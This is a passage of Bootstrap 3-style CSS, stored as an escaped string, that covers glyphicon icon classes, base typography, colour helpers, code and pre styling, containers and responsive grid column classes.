\"\\e044\";\n}\n.glyphicon-print:before {\n  content: \"\\e045\";\n}\n.glyphicon-camera:before {\n  content: \"\\e046\";\n}\n.glyphicon-font:before {\n  content: \"\\e047\";\n}\n.glyphicon-bold:before {\n  content: \"\\e048\";\n}\n.glyphicon-italic:before {\n  content: \"\\e049\";\n}\n.glyphicon-text-height:before {\n  content: \"\\e050\";\n}\n.glyphicon-text-width:before {\n  content: \"\\e051\";\n}\n.glyphicon-align-left:before {\n  content: \"\\e052\";\n}\n.glyphicon-align-center:before {\n  content: \"\\e053\";\n}\n.glyphicon-align-right:before {\n  content: \"\\e054\";\n}\n.glyphicon-align-justify:before {\n  content: \"\\e055\";\n}\n.glyphicon-list:before {\n  content: \"\\e056\";\n}\n.glyphicon-indent-left:before {\n  content: \"\\e057\";\n}\n.glyphicon-indent-right:before {\n  content: \"\\e058\";\n}\n.glyphicon-facetime-video:before {\n  content: \"\\e059\";\n}\n.glyphicon-picture:before {\n  content: \"\\e060\";\n}\n.glyphicon-map-marker:before {\n  content: \"\\e062\";\n}\n.glyphicon-adjust:before {\n  content: \"\\e063\";\n}\n.glyphicon-tint:before {\n  content: \"\\e064\";\n}\n.glyphicon-edit:before {\n  content: \"\\e065\";\n}\n.glyphicon-share:before {\n  content: \"\\e066\";\n}\n.glyphicon-check:before {\n  content: \"\\e067\";\n}\n.glyphicon-move:before {\n  content: \"\\e068\";\n}\n.glyphicon-step-backward:before {\n  content: \"\\e069\";\n}\n.glyphicon-fast-backward:before {\n  content: \"\\e070\";\n}\n.glyphicon-backward:before {\n  content: \"\\e071\";\n}\n.glyphicon-play:before {\n  content: \"\\e072\";\n}\n.glyphicon-pause:before {\n  content: \"\\e073\";\n}\n.glyphicon-stop:before {\n  content: \"\\e074\";\n}\n.glyphicon-forward:before {\n  content: \"\\e075\";\n}\n.glyphicon-fast-forward:before {\n  content: \"\\e076\";\n}\n.glyphicon-step-forward:before {\n  content: \"\\e077\";\n}\n.glyphicon-eject:before {\n  content: \"\\e078\";\n}\n.glyphicon-chevron-left:before {\n  content: \"\\e079\";\n}\n.glyphicon-chevron-right:before {\n  content: \"\\e080\";\n}\n.glyphicon-plus-sign:before {\n  content: \"\\e081\";\n}\n.glyphicon-minus-sign:before {\n  content: \"\\e082\";\n}\n.glyphicon-remove-sign:before {\n  content: \"\\e083\";\n}\n.glyphicon-ok-sign:before {\n  content: \"\\e084\";\n}\n.glyphicon-question-sign:before {\n  content: \"\\e085\";\n}\n.glyphicon-info-sign:before {\n  content: \"\\e086\";\n}\n.glyphicon-screenshot:before {\n  content: \"\\e087\";\n}\n.glyphicon-remove-circle:before {\n  content: \"\\e088\";\n}\n.glyphicon-ok-circle:before {\n  content: \"\\e089\";\n}\n.glyphicon-ban-circle:before {\n  content: \"\\e090\";\n}\n.glyphicon-arrow-left:before {\n  content: \"\\e091\";\n}\n.glyphicon-arrow-right:before {\n  content: \"\\e092\";\n}\n.glyphicon-arrow-up:before {\n  content: \"\\e093\";\n}\n.glyphicon-arrow-down:before {\n  content: \"\\e094\";\n}\n.glyphicon-share-alt:before {\n  content: \"\\e095\";\n}\n.glyphicon-resize-full:before {\n  content: \"\\e096\";\n}\n.glyphicon-resize-small:before {\n  content: \"\\e097\";\n}\n.glyphicon-exclamation-sign:before {\n  content: \"\\e101\";\n}\n.glyphicon-gift:before {\n  content: \"\\e102\";\n}\n.glyphicon-leaf:before {\n  content: \"\\e103\";\n}\n.glyphicon-fire:before {\n  content: \"\\e104\";\n}\n.glyphicon-eye-open:before {\n  content: \"\\e105\";\n}\n.glyphicon-eye-close:before {\n  content: \"\\e106\";\n}\n.glyphicon-warning-sign:before {\n  content: \"\\e107\";\n}\n.glyphicon-plane:before {\n  content: \"\\e108\";\n}\n.glyphicon-calendar:before {\n  content: \"\\e109\";\n}\n.glyphicon-random:before {\n  content: \"\\e110\";\n}\n.glyphicon-comment:before {\n  content: \"\\e111\";\n}\n.glyphicon-magnet:before {\n  content: \"\\e112\";\n}\n.glyphicon-chevron-up:before {\n  content: \"\\e113\";\n}\n.glyphicon-chevron-down:before {\n  content: \"\\e114\";\n}\n.glyphicon-retweet:before {\n  content: \"\\e115\";\n}\n.glyphicon-shopping-cart:before {\n  content: \"\\e116\";\n}\n.glyphicon-folder-close:before {\n  content: \"\\e117\";\n}\n.glyphicon-folder-open:before {\n  content: \"\\e118\";\n}\n.glyphicon-resize-vertical:before {\n  content: \"\\e119\";\n}\n.glyphicon-resize-horizontal:before {\n  content: \"\\e120\";\n}\n.glyphicon-hdd:before {\n  content: \"\\e121\";\n}\n.glyphicon-bullhorn:before {\n  content: \"\\e122\";\n}\n.glyphicon-bell:before {\n  content: \"\\e123\";\n}\n.glyphicon-certificate:before {\n  content: \"\\e124\";\n}\n.glyphicon-thumbs-up:before {\n  content: \"\\e125\";\n}\n.glyphicon-thumbs-down:before {\n  content: \"\\e126\";\n}\n.glyphicon-hand-right:before {\n  content: \"\\e127\";\n}\n.glyphicon-hand-left:before {\n  content: \"\\e128\";\n}\n.glyphicon-hand-up:before {\n  content: \"\\e129\";\n}\n.glyphicon-hand-down:before {\n  content: \"\\e130\";\n}\n.glyphicon-circle-arrow-right:before {\n  content: \"\\e131\";\n}\n.glyphicon-circle-arrow-left:before {\n  content: \"\\e132\";\n}\n.glyphicon-circle-arrow-up:before {\n  content: \"\\e133\";\n}\n.glyphicon-circle-arrow-down:before {\n  content: \"\\e134\";\n}\n.glyphicon-globe:before {\n  content: \"\\e135\";\n}\n.glyphicon-wrench:before {\n  content: \"\\e136\";\n}\n.glyphicon-tasks:before {\n  content: \"\\e137\";\n}\n.glyphicon-filter:before {\n  content: \"\\e138\";\n}\n.glyphicon-briefcase:before {\n  content: \"\\e139\";\n}\n.glyphicon-fullscreen:before {\n  content: \"\\e140\";\n}\n.glyphicon-dashboard:before {\n  content: \"\\e141\";\n}\n.glyphicon-paperclip:before {\n  content: \"\\e142\";\n}\n.glyphicon-heart-empty:before {\n  content: \"\\e143\";\n}\n.glyphicon-link:before {\n  content: \"\\e144\";\n}\n.glyphicon-phone:before {\n  content: \"\\e145\";\n}\n.glyphicon-pushpin:before {\n  content: \"\\e146\";\n}\n.glyphicon-usd:before {\n  content: \"\\e148\";\n}\n.glyphicon-gbp:before {\n  content: \"\\e149\";\n}\n.glyphicon-sort:before {\n  content: \"\\e150\";\n}\n.glyphicon-sort-by-alphabet:before {\n  content: \"\\e151\";\n}\n.glyphicon-sort-by-alphabet-alt:before {\n  content: \"\\e152\";\n}\n.glyphicon-sort-by-order:before {\n  content: \"\\e153\";\n}\n.glyphicon-sort-by-order-alt:before {\n  content: \"\\e154\";\n}\n.glyphicon-sort-by-attributes:before {\n  content: \"\\e155\";\n}\n.glyphicon-sort-by-attributes-alt:before {\n  content: \"\\e156\";\n}\n.glyphicon-unchecked:before {\n  content: \"\\e157\";\n}\n.glyphicon-expand:before {\n  content: \"\\e158\";\n}\n.glyphicon-collapse-down:before {\n  content: \"\\e159\";\n}\n.glyphicon-collapse-up:before {\n  content: \"\\e160\";\n}\n.glyphicon-log-in:before {\n  content: \"\\e161\";\n}\n.glyphicon-flash:before {\n  content: \"\\e162\";\n}\n.glyphicon-log-out:before {\n  content: \"\\e163\";\n}\n.glyphicon-new-window:before {\n  content: \"\\e164\";\n}\n.glyphicon-record:before {\n  content: \"\\e165\";\n}\n.glyphicon-save:before {\n  content: \"\\e166\";\n}\n.glyphicon-open:before {\n  content: \"\\e167\";\n}\n.glyphicon-saved:before {\n  content: \"\\e168\";\n}\n.glyphicon-import:before {\n  content: \"\\e169\";\n}\n.glyphicon-export:before {\n  content: \"\\e170\";\n}\n.glyphicon-send:before {\n  content: \"\\e171\";\n}\n.glyphicon-floppy-disk:before {\n  content: \"\\e172\";\n}\n.glyphicon-floppy-saved:before {\n  content: \"\\e173\";\n}\n.glyphicon-floppy-remove:before {\n  content: \"\\e174\";\n}\n.glyphicon-floppy-save:before {\n  content: \"\\e175\";\n}\n.glyphicon-floppy-open:before {\n  content: \"\\e176\";\n}\n.glyphicon-credit-card:before {\n  content: \"\\e177\";\n}\n.glyphicon-transfer:before {\n  content: \"\\e178\";\n}\n.glyphicon-cutlery:before {\n  content: \"\\e179\";\n}\n.glyphicon-header:before {\n  content: \"\\e180\";\n}\n.glyphicon-compressed:before {\n  content: \"\\e181\";\n}\n.glyphicon-earphone:before {\n  content: \"\\e182\";\n}\n.glyphicon-phone-alt:before {\n  content: \"\\e183\";\n}\n.glyphicon-tower:before {\n  content: \"\\e184\";\n}\n.glyphicon-stats:before {\n  content: \"\\e185\";\n}\n.glyphicon-sd-video:before {\n  content: \"\\e186\";\n}\n.glyphicon-hd-video:before {\n  content: \"\\e187\";\n}\n.glyphicon-subtitles:before {\n  content: \"\\e188\";\n}\n.glyphicon-sound-stereo:before {\n  content: \"\\e189\";\n}\n.glyphicon-sound-dolby:before {\n  content: \"\\e190\";\n}\n.glyphicon-sound-5-1:before {\n  content: \"\\e191\";\n}\n.glyphicon-sound-6-1:before {\n  content: \"\\e192\";\n}\n.glyphicon-sound-7-1:before {\n  content: \"\\e193\";\n}\n.glyphicon-copyright-mark:before {\n  content: \"\\e194\";\n}\n.glyphicon-registration-mark:before {\n  content: \"\\e195\";\n}\n.glyphicon-cloud-download:before {\n  content: \"\\e197\";\n}\n.glyphicon-cloud-upload:before {\n  content: \"\\e198\";\n}\n.glyphicon-tree-conifer:before {\n  content: \"\\e199\";\n}\n.glyphicon-tree-deciduous:before {\n  content: \"\\e200\";\n}\n.glyphicon-cd:before {\n  content: \"\\e201\";\n}\n.glyphicon-save-file:before {\n  content: \"\\e202\";\n}\n.glyphicon-open-file:before {\n  content: \"\\e203\";\n}\n.glyphicon-level-up:before {\n  content: \"\\e204\";\n}\n.glyphicon-copy:before {\n  content: \"\\e205\";\n}\n.glyphicon-paste:before {\n  content: \"\\e206\";\n}\n.glyphicon-alert:before {\n  content: \"\\e209\";\n}\n.glyphicon-equalizer:before {\n  content: \"\\e210\";\n}\n.glyphicon-king:before {\n  content: \"\\e211\";\n}\n.glyphicon-queen:before {\n  content: \"\\e212\";\n}\n.glyphicon-pawn:before {\n  content: \"\\e213\";\n}\n.glyphicon-bishop:before {\n  content: \"\\e214\";\n}\n.glyphicon-knight:before {\n  content: \"\\e215\";\n}\n.glyphicon-baby-formula:before {\n  content: \"\\e216\";\n}\n.glyphicon-tent:before {\n  content: \"\\26fa\";\n}\n.glyphicon-blackboard:before {\n  content: \"\\e218\";\n}\n.glyphicon-bed:before {\n  content: \"\\e219\";\n}\n.glyphicon-apple:before {\n  content: \"\\f8ff\";\n}\n.glyphicon-erase:before {\n  content: \"\\e221\";\n}\n.glyphicon-hourglass:before {\n  content: \"\\231b\";\n}\n.glyphicon-lamp:before {\n  content: \"\\e223\";\n}\n.glyphicon-duplicate:before {\n  content: \"\\e224\";\n}\n.glyphicon-piggy-bank:before {\n  content: \"\\e225\";\n}\n.glyphicon-scissors:before {\n  content: \"\\e226\";\n}\n.glyphicon-bitcoin:before {\n  content: \"\\e227\";\n}\n.glyphicon-btc:before {\n  content: \"\\e227\";\n}\n.glyphicon-xbt:before {\n  content: \"\\e227\";\n}\n.glyphicon-yen:before {\n  content: \"\\00a5\";\n}\n.glyphicon-jpy:before {\n  content: \"\\00a5\";\n}\n.glyphicon-ruble:before {\n  content: \"\\20bd\";\n}\n.glyphicon-rub:before {\n  content: \"\\20bd\";\n}\n.glyphicon-scale:before {\n  content: \"\\e230\";\n}\n.glyphicon-ice-lolly:before {\n  content: \"\\e231\";\n}\n.glyphicon-ice-lolly-tasted:before {\n  content: \"\\e232\";\n}\n.glyphicon-education:before {\n  content: \"\\e233\";\n}\n.glyphicon-option-horizontal:before {\n  content: \"\\e234\";\n}\n.glyphicon-option-vertical:before {\n  content: \"\\e235\";\n}\n.glyphicon-menu-hamburger:before {\n  content: \"\\e236\";\n}\n.glyphicon-modal-window:before {\n  content: \"\\e237\";\n}\n.glyphicon-oil:before {\n  content: \"\\e238\";\n}\n.glyphicon-grain:before {\n  content: \"\\e239\";\n}\n.glyphicon-sunglasses:before {\n  content: \"\\e240\";\n}\n.glyphicon-text-size:before {\n  content: \"\\e241\";\n}\n.glyphicon-text-color:before {\n  content: \"\\e242\";\n}\n.glyphicon-text-background:before {\n  content: \"\\e243\";\n}\n.glyphicon-object-align-top:before {\n  content: \"\\e244\";\n}\n.glyphicon-object-align-bottom:before {\n  content: \"\\e245\";\n}\n.glyphicon-object-align-horizontal:before {\n  content: \"\\e246\";\n}\n.glyphicon-object-align-left:before {\n  content: \"\\e247\";\n}\n.glyphicon-object-align-vertical:before {\n  content: \"\\e248\";\n}\n.glyphicon-object-align-right:before {\n  content: \"\\e249\";\n}\n.glyphicon-triangle-right:before {\n  content: \"\\e250\";\n}\n.glyphicon-triangle-left:before {\n  content: \"\\e251\";\n}\n.glyphicon-triangle-bottom:before {\n  content: \"\\e252\";\n}\n.glyphicon-triangle-top:before {\n  content: \"\\e253\";\n}\n.glyphicon-console:before {\n  content: \"\\e254\";\n}\n.glyphicon-superscript:before {\n  content: \"\\e255\";\n}\n.glyphicon-subscript:before {\n  content: \"\\e256\";\n}\n.glyphicon-menu-left:before {\n  content: \"\\e257\";\n}\n.glyphicon-menu-right:before {\n  content: \"\\e258\";\n}\n.glyphicon-menu-down:before {\n  content: \"\\e259\";\n}\n.glyphicon-menu-up:before {\n  content: \"\\e260\";\n}\n* {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\n*:before,\n*:after {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\nhtml {\n  font-size: 10px;\n\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #333;\n  background-color: #fff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\na {\n  color: #337ab7;\n  text-decoration: none;\n}\na:hover,\na:focus {\n  color: #23527c;\n  text-decoration: underline;\n}\na:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\nfigure {\n  margin: 0;\n}\nimg {\n  vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  display: block;\n  max-width: 100%;\n  height: auto;\n}\n.img-rounded {\n  border-radius: 6px;\n}\n.img-thumbnail {\n  display: inline-block;\n  max-width: 100%;\n  height: auto;\n  padding: 4px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: all .2s ease-in-out;\n       -o-transition: all .2s ease-in-out;\n          transition: all .2s ease-in-out;\n}\n.img-circle {\n  border-radius: 50%;\n}\nhr {\n  margin-top: 20px;\n  margin-bottom: 20px;\n  border: 0;\n  border-top: 1px solid #eee;\n}\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  margin: 0;\n  overflow: visible;\n  clip: auto;\n}\n[role=\"button\"] {\n  cursor: pointer;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n  font-family: inherit;\n  font-weight: 500;\n  line-height: 1.1;\n  color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n  font-weight: normal;\n  line-height: 1;\n  color: #777;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n  margin-top: 20px;\n  margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n  font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n  font-size: 75%;\n}\nh1,\n.h1 {\n  font-size: 36px;\n}\nh2,\n.h2 {\n  font-size: 30px;\n}\nh3,\n.h3 {\n  font-size: 24px;\n}\nh4,\n.h4 {\n  font-size: 18px;\n}\nh5,\n.h5 {\n  font-size: 14px;\n}\nh6,\n.h6 {\n  font-size: 12px;\n}\np {\n  margin: 0 0 10px;\n}\n.lead {\n  margin-bottom: 20px;\n  font-size: 16px;\n  font-weight: 300;\n  line-height: 1.4;\n}\n@media (min-width: 768px) {\n  .lead {\n    font-size: 21px;\n  }\n}\nsmall,\n.small {\n  font-size: 85%;\n}\nmark,\n.mark {\n  padding: .2em;\n  background-color: #fcf8e3;\n}\n.text-left {\n  text-align: left;\n}\n.text-right {\n  text-align: right;\n}\n.text-center {\n  text-align: center;\n}\n.text-justify {\n  text-align: justify;\n}\n.text-nowrap {\n  white-space: nowrap;\n}\n.text-lowercase {\n  text-transform: lowercase;\n}\n.text-uppercase {\n  text-transform: uppercase;\n}\n.text-capitalize {\n  text-transform: capitalize;\n}\n.text-muted {\n  color: #777;\n}\n.text-primary {\n  color: #337ab7;\n}\na.text-primary:hover,\na.text-primary:focus {\n  color: #286090;\n}\n.text-success {\n  color: #3c763d;\n}\na.text-success:hover,\na.text-success:focus {\n  color: #2b542c;\n}\n.text-info {\n  color: #31708f;\n}\na.text-info:hover,\na.text-info:focus {\n  color: #245269;\n}\n.text-warning {\n  color: #8a6d3b;\n}\na.text-warning:hover,\na.text-warning:focus {\n  color: #66512c;\n}\n.text-danger {\n  color: #a94442;\n}\na.text-danger:hover,\na.text-danger:focus {\n  color: #843534;\n}\n.bg-primary {\n  color: #fff;\n  background-color: #337ab7;\n}\na.bg-primary:hover,\na.bg-primary:focus {\n  background-color: #286090;\n}\n.bg-success {\n  background-color: #dff0d8;\n}\na.bg-success:hover,\na.bg-success:focus {\n  background-color: #c1e2b3;\n}\n.bg-info {\n  background-color: #d9edf7;\n}\na.bg-info:hover,\na.bg-info:focus {\n  background-color: #afd9ee;\n}\n.bg-warning {\n  background-color: #fcf8e3;\n}\na.bg-warning:hover,\na.bg-warning:focus {\n  background-color: #f7ecb5;\n}\n.bg-danger {\n  background-color: #f2dede;\n}\na.bg-danger:hover,\na.bg-danger:focus {\n  background-color: #e4b9b9;\n}\n.page-header {\n  padding-bottom: 9px;\n  margin: 40px 0 20px;\n  border-bottom: 1px solid #eee;\n}\nul,\nol {\n  margin-top: 0;\n  margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n  margin-bottom: 0;\n}\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n.list-inline {\n  padding-left: 0;\n  margin-left: -5px;\n  list-style: none;\n}\n.list-inline > li {\n  display: inline-block;\n  padding-right: 5px;\n  padding-left: 5px;\n}\ndl {\n  margin-top: 0;\n  margin-bottom: 20px;\n}\ndt,\ndd {\n  line-height: 1.42857143;\n}\ndt {\n  font-weight: bold;\n}\ndd {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .dl-horizontal dt {\n    float: left;\n    width: 160px;\n    overflow: hidden;\n    clear: left;\n    text-align: right;\n    text-overflow: ellipsis;\n    white-space: nowrap;\n  }\n  .dl-horizontal dd {\n    margin-left: 180px;\n  }\n}\nabbr[title],\nabbr[data-original-title] {\n  cursor: help;\n  border-bottom: 1px dotted #777;\n}\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\nblockquote {\n  padding: 10px 20px;\n  margin: 0 0 20px;\n  font-size: 17.5px;\n  border-left: 5px solid #eee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n  margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n  display: block;\n  font-size: 80%;\n  line-height: 1.42857143;\n  color: #777;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n  content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n  padding-right: 15px;\n  padding-left: 0;\n  text-align: right;\n  border-right: 5px solid #eee;\n  border-left: 0;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n  content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n  content: '\\00A0 \\2014';\n}\naddress {\n  margin-bottom: 20px;\n  font-style: normal;\n  line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #c7254e;\n  background-color: #f9f2f4;\n  border-radius: 4px;\n}\nkbd {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #fff;\n  background-color: #333;\n  border-radius: 3px;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n}\nkbd kbd {\n  padding: 0;\n  font-size: 100%;\n  font-weight: bold;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\npre {\n  display: block;\n  padding: 9.5px;\n  margin: 0 0 10px;\n  font-size: 13px;\n  line-height: 1.42857143;\n  color: #333;\n  word-break: break-all;\n  word-wrap: break-word;\n  background-color: #f5f5f5;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\npre code {\n  padding: 0;\n  font-size: inherit;\n  color: inherit;\n  white-space: pre-wrap;\n  background-color: transparent;\n  border-radius: 0;\n}\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n.container {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n@media (min-width: 768px) {\n  .container {\n    width: 750px;\n  }\n}\n@media (min-width: 992px) {\n  .container {\n    width: 970px;\n  }\n}\n@media (min-width: 1200px) {\n  .container {\n    width: 1170px;\n  }\n}\n.container-fluid {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n.row {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n  position: relative;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n  float: left;\n}\n.col-xs-12 {\n  width: 100%;\n}\n.col-xs-11 {\n  width: 91.66666667%;\n}\n.col-xs-10 {\n  width: 83.33333333%;\n}\n.col-xs-9 {\n  width: 75%;\n}\n.col-xs-8 {\n  width: 66.66666667%;\n}\n.col-xs-7 {\n  width: 58.33333333%;\n}\n.col-xs-6 {\n  width: 50%;\n}\n.col-xs-5 {\n  width: 41.66666667%;\n}\n.col-xs-4 {\n  width: 33.33333333%;\n}\n.col-xs-3 {\n  width: 25%;\n}\n.col-xs-2 {\n  width: 16.66666667%;\n}\n.col-xs-1 {\n  width: 8.33333333%;\n}\n.col-xs-pull-12 {\n  right: 100%;\n}\n.col-xs-pull-11 {\n  right: 91.66666667%;\n}\n.col-xs-pull-10 {\n  right: 83.33333333%;\n}\n.col-xs-pull-9 {\n  right: 75%;\n}\n.col-xs-pull-8 {\n  right: 66.66666667%;\n}\n.col-xs-pull-7 {\n  right: 58.33333333%;\n}\n.col-xs-pull-6 {\n  right: 50%;\n}\n.col-xs-pull-5 {\n  right: 41.66666667%;\n}\n.col-xs-pull-4 {\n  right: 33.33333333%;\n}\n.col-xs-pull-3 {\n  right: 25%;\n}\n.col-xs-pull-2 {\n  right: 16.66666667%;\n}\n.col-xs-pull-1 {\n  right: 8.33333333%;\n}\n.col-xs-pull-0 {\n  right: auto;\n}\n.col-xs-push-12 {\n  left: 100%;\n}\n.col-xs-push-11 {\n  left: 91.66666667%;\n}\n.col-xs-push-10 {\n  left: 83.33333333%;\n}\n.col-xs-push-9 {\n  left: 75%;\n}\n.col-xs-push-8 {\n  left: 66.66666667%;\n}\n.col-xs-push-7 {\n  left: 58.33333333%;\n}\n.col-xs-push-6 {\n  left: 50%;\n}\n.col-xs-push-5 {\n  left: 41.66666667%;\n}\n.col-xs-push-4 {\n  left: 33.33333333%;\n}\n.col-xs-push-3 {\n  left: 25%;\n}\n.col-xs-push-2 {\n  left: 16.66666667%;\n}\n.col-xs-push-1 {\n  left: 8.33333333%;\n}\n.col-xs-push-0 {\n  left: auto;\n}\n.col-xs-offset-12 {\n  margin-left: 100%;\n}\n.col-xs-offset-11 {\n  margin-left: 91.66666667%;\n}\n.col-xs-offset-10 {\n  margin-left: 83.33333333%;\n}\n.col-xs-offset-9 {\n  margin-left: 75%;\n}\n.col-xs-offset-8 {\n  margin-left: 66.66666667%;\n}\n.col-xs-offset-7 {\n  margin-left: 58.33333333%;\n}\n.col-xs-offset-6 {\n  margin-left: 50%;\n}\n.col-xs-offset-5 {\n  margin-left: 41.66666667%;\n}\n.col-xs-offset-4 {\n  margin-left: 33.33333333%;\n}\n.col-xs-offset-3 {\n  margin-left: 25%;\n}\n.col-xs-offset-2 {\n  margin-left: 16.66666667%;\n}\n.col-xs-offset-1 {\n  margin-left: 8.33333333%;\n}\n.col-xs-offset-0 {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12 {\n    float: left;\n  }\n  .col-sm-12 {\n    width: 100%;\n  }\n  .col-sm-11 {\n    width: 91.66666667%;\n  }\n  .col-sm-10 {\n    width: 83.33333333%;\n  }\n  .col-sm-9 {\n    width: 75%;\n  }\n  .col-sm-8 {\n    width: 66.66666667%;\n  }\n  .col-sm-7 {\n    width: 58.33333333%;\n  }\n  .col-sm-6 {\n    width: 50%;\n  }\n  .col-sm-5 {\n    width: 41.66666667%;\n  }\n  .col-sm-4 {\n    width: 33.33333333%;\n  }\n  .col-sm-3 {\n    width: 25%;\n  }\n  .col-sm-2 {\n    width: 16.66666667%;\n  }\n  .col-sm-1 {\n    width: 8.33333333%;\n  }\n  .col-sm-pull-12 {\n    right: 100%;\n  }\n  .col-sm-pull-11 {\n    right: 91.66666667%;\n  }\n  .col-sm-pull-10 {\n    right: 83.33333333%;\n  }\n  .col-sm-pull-9 {\n    right: 75%;\n  }\n  .col-sm-pull-8 {\n    right: 66.66666667%;\n  }\n  .col-sm-pull-7 {\n    right: 58.33333333%;\n  }\n  .col-sm-pull-6 {\n    right: 50%;\n  }\n  .col-sm-pull-5 {\n    right: 41.66666667%;\n  }\n  .col-sm-pull-4 {\n    right: 33.33333333%;\n  }\n  .col-sm-pull-3 {\n    right: 25%;\n  }\n  .col-sm-pull-2 {\n    right: 16.66666667%;\n  }\n  .col-sm-pull-1 {\n    right: 8.33333333%;\n  }\n  .col-sm-pull-0 {\n    right: auto;\n  }\n  .col-sm-push-12 {\n    left: 100%;\n  }\n  .col-sm-push-11 {\n    left: 91.66666667%;\n  }\n  .col-sm-push-10 {\n    left: 83.33333333%;\n  }\n  .col-sm-push-9 {\n    left: 75%;\n  }\n  .col-sm-push-8 {\n    left: 66.66666667%;\n  }\n  .col-sm-push-7 {\n    left: 58.33333333%;\n  }\n  .col-sm-push-6 {\n    left: 50%;\n  }\n  .col-sm-push-5 {\n    left: 41.66666667%;\n  }\n  .col-sm-push-4 {\n    left: 33.33333333%;\n  }\n  .col-sm-push-3 {\n    left: 25%;\n  }\n  .col-sm-push-2 {\n    left: 16.66666667%;\n  }\n  .col-sm-push-1 {\n    left: 8.33333333%;\n  }\n  .col-sm-push-0 {\n    left: auto;\n  }\n  .col-sm-offset-12 {\n    margin-left: 100%;\n  }\n  .col-sm-offset-11 {\n    margin-left: 91.66666667%;\n  }\n  .col-sm-offset-10 {\n    margin-left: 83.33333333%;\n  }\n  .col-sm-offset-9 {\n    margin-left: 75%;\n  